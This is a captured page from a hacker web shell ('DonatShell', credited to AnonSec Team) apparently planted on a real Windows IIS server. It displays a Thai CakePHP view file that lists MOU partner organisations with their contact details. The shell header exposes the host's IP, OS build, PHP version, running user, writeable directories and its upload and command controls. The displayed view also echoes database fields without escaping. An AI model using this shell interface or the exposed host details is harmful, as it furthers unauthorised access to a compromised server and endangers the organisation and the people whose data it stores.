DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/View/Organizations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/View/Organizations//index_mou.ctp
<?php
echo $this->element('filter-start', array(
    'display_helper_text' => true
));

echo $this->Form->create('Organization', array(
    'type' => 'get',
    'class' => 'form-horizontal'
)); ?>
<div class="form-group">
    <?php
    echo $this->Form->label('keyword',
        __('ค้นหาโดยคีย์เวิร์ด'),
        array(
            'class' => 'col-md-2 text-right filter-label'
        ));

    echo $this->Form->input('keyword',
        array(
            'type' => 'text',
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-8',
            'placeholder' => __('ค้นหาจากชื่อ work level หรือ objective')
        ));
        ?>
</div><!-- .form-group -->
<div class="form-group">
    <?php
        echo $this->Form->label('id',
            __('รหัสเครือข่าย'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('id', array(
            'type' => 'text',
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-3',
            'placeholder' => __('รหัสเครือข่าย')
        ));

        echo $this->Form->label('type_id',
            __('ประเภทเครือข่าย'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('type_id', array(
            'options' => $types,
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-3',
            'empty' => __('ทุกประเภท'),
        ));

      ?>

    </div><!-- .form-group -->
    <div class="form-group">
        <?php

        echo $this->Form->label('topic_id',
            __('ประเภทสิทธิหลัก'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('topic_id', array(
            'options' => $topics,
            'label' => false,
            'class' => 'form-control select-topic-id',
            'div' => 'col-md-3',
            'empty' => __('ทั้งหมด'),
            'rel' => 'topics'
        ));

        echo $this->Form->label('province_id',
            __('จังหวัดที่ตั้ง'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('province_id', array(
            'options' => $provinces,
            'label' => false,
            'class' => 'form-control select-province-id',
            'div' => 'col-md-3',
            'empty' => __('ทุกจังหวัด'),
            'rel' => 'location'
        ));
        ?>
    </div><!-- .form-group -->
    <div class="form-group">
        <?php
        echo $this->Form->label('subtopic_id',
            __('ประเภทสิทธิย่อย'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('subtopic_id', array(
            'options' => $subtopics,
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-3',
            'empty' => __('ทั้งหมด'),
            'disabled' => empty($subtopics),
            'rel' => 'topics'
        ));

        echo $this->Form->label('district_id',
            __('อำเภอที่ตั้ง'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('district_id', array(
            'options' => $location_districts,
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-3',
            'empty' => __('ทุกอำเภอ'),
            'disabled' => empty($location_districts),
            // 'id' => 'select-district-id',
            'rel' => 'location'
        ));
        ?>
    </div><!-- .form-group -->
    <div class="form-group">
        <?php
        echo $this->Form->label('target_id',
            __('เป้าหมาย'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('target_id', array(
            'options' => $targets,
            'label' => false,
            'class' => 'form-control',
            'div' => 'col-md-3',
            'empty' => __('ทุกเป้าหมาย')
            // 'multiple' => true
        ));
        ?>
        <div class="col-md-6">
            <div class="form-group">
                <?php
                echo $this->Form->label('work_province_id',
                    __('พื้นที่จังหวัด'),
                    array(
                        'class' => 'col-md-4 text-right filter-label'
                    ));
                echo $this->Form->input('work_province_id', array(
                    'options' => $provinces,
                    'label' => false,
                    'class' => 'form-control select-province-id',
                    'div' => 'col-md-6',
                    'empty' => __('ทุกจังหวัด'),
                    'rel' => 'work_location'
                ));
                ?>
            </div><!--.form-group -->
            <div class="form-group">
                <?php
                echo $this->Form->label('work_district_id',
                    __('พื้นที่อำเภอ'),
                    array(
                        'class' => 'col-md-4 text-right filter-label'
                    ));
                echo $this->Form->input('work_district_id', array(
                    'options' => $work_districts,
                    'label' => false,
                    'class' => 'form-control',
                    'div' => 'col-md-6',
                    'empty' => __('ทุกอำเภอ'),
                    'disabled' => empty($work_districts),
                    'rel' => 'work_location'
                ));
                ?>
            </div>
        </div><!-- .col-md-6 -->
    </div><!-- .form-group -->
    <div class="form-group">
        <?php
        echo $this->Form->label('start_date',
            __('วันที่เริ่มทำ MOU'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('start_date', array(
            'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
            'type' => 'text',
            'label' => false,
            'class' => 'form-control datepicker',
            'div' => 'col-md-3 input-group'
        ));

        echo $this->Form->label('end_date',
            __('วันที่สิ้นสุด MOU'),
            array(
                'class' => 'col-md-2 text-right filter-label'
            ));
        echo $this->Form->input('end_date', array(
            'before' => '<span class="input-group-addon glyphicon glyphicon-calendar"></span>',
            'type' => 'text',
            'label' => false,
            'class' => 'form-control datepicker',
            'div' => 'col-md-3 input-group'
        ));
        ?>
    </div>
    <div class="form-group">
        <div class="col-md-1 col-md-offset-9 text-right">
        <?php
        echo $this->Form->submit(__('ค้นหา'), array(
            'class' => 'btn btn-primary'
        ));
        ?>
        </div><!-- .col-md-2 -->
    </div>
<?php echo $this->Form->end(); ?>
<?php echo $this->element('filter-end'); ?>


<div class="container">
    <div class="row">
        <div class="col-md-12">
            <div class="frontend-content">
                <div class="page-header">
                    <h2 class="frontend-content-title text-center">
                        <?php echo __('เครือข่ายองค์กรที่ทำ MOU'); ?>
                    </h2>
                </div><!-- .page-header -->

                <table class="table table-striped">
                    <thead>
                        <tr>
                            <th><?php echo __('ลำดับ') ?></th>
                            <th><?php echo __('ชื่อองค์กร'); ?></th>
                            <th><?php echo __('ประเภทองค์กร'); ?></th>
                            <th><?php echo __('วันที่เริ่มทำ MOU'); ?></th>
                            <th><?php echo __('วันที่สิ้นสุด MOU'); ?></th>
                            <th><?php echo __('เบอร์ติดต่อ'); ?></th>
                            <th><?php echo __('อีเมล์'); ?></th>
                            <th><?php echo __('ที่ตั้งองค์กร'); ?></th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php for ( $i = 0; $i < count($organizations); $i++ ) : ?>
                            <tr>
                                <td><?php echo $this->paginator->counter('{:start}') + $i; ?></td>
                                <td>
                                    <?php
                                        echo $this->Html->link(
                                        $organizations[$i]['Organization']['name'],
                                        array(
                                            'action' => 'view',
                                            $organizations[$i]['Organization']['id']
                                        ));
                                    ?>
                                </td>
                                <td><?php echo $organizations[$i]['Type'][0]['name'] ?></td>
                                <td><?php echo $organizations[$i]['Mou']['started'] ?></td>
                                <td><?php echo $organizations[$i]['Mou']['ended'] ?></td>
                                <td><?php echo $organizations[$i]['Organization']['telephone1'] ?></td>
                                <td><?php echo $organizations[$i]['Organization']['email'] ?></td>
                                <td><?php echo $organizations[$i]['Organization']['address1'] ?></td>
                            </tr>
                        <?php endfor; ?>
                    </tbody>
                </table>

                <?php echo $this->element('pagination'); ?>
            </div><!-- .frontend-content -->
        </div><!-- .col-md-12 -->
    </div><!-- .row -->
</div><!-- .container -->

Anon7 - 2022
AnonSec Team